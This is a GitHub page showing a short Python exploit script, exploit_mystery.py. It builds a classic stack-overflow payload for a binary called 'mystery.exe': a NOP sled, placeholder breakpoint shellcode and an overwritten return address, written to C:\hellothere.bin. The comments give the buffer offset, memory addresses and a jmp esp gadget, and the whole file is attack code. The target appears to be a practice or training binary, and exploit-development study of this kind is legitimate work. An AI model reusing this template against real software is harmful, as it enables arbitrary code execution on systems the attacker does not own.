-
Notifications
You must be signed in to change notification settings - Fork 2
/
exploit_mystery.py
33 lines (23 loc) · 913 Bytes
/
exploit_mystery.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# Name : Abhinav Thakur
# Email: compilepeace@gmail.com
# Description: This exploit code makes a binary file at "C:\hellothere.bin" which contains malacious
# data which when executed by the binary 'mystery.exe' will result into arbitrary code
# execution. A vanilla stack overflow exploit.
# Usage : Type the following commands while in directory of 'mystery.exe'
# > python exploit_mystery.py
# > mystery A B
# Usefull information
# 0012fb68 : address of input buffer
# 0012ff74 : address of return pointer
# offset to return pointer = 1036 bytes
# ff e4 : jmp esp : exists at 7c941eed in ntdll
import struct
# Place your shellcode here
shellcode = ("\xcc\xcc\xcc\xcc")
payload = "\x90" * (1036 - len(shellcode))
payload += shellcode
payload += struct.pack("I", 0x12fb80)
# Creating the malacious binary "C:\hellothere.bin"
fo = open("C:\hellothere.bin", 'w')
fo.write(payload)
fo.close()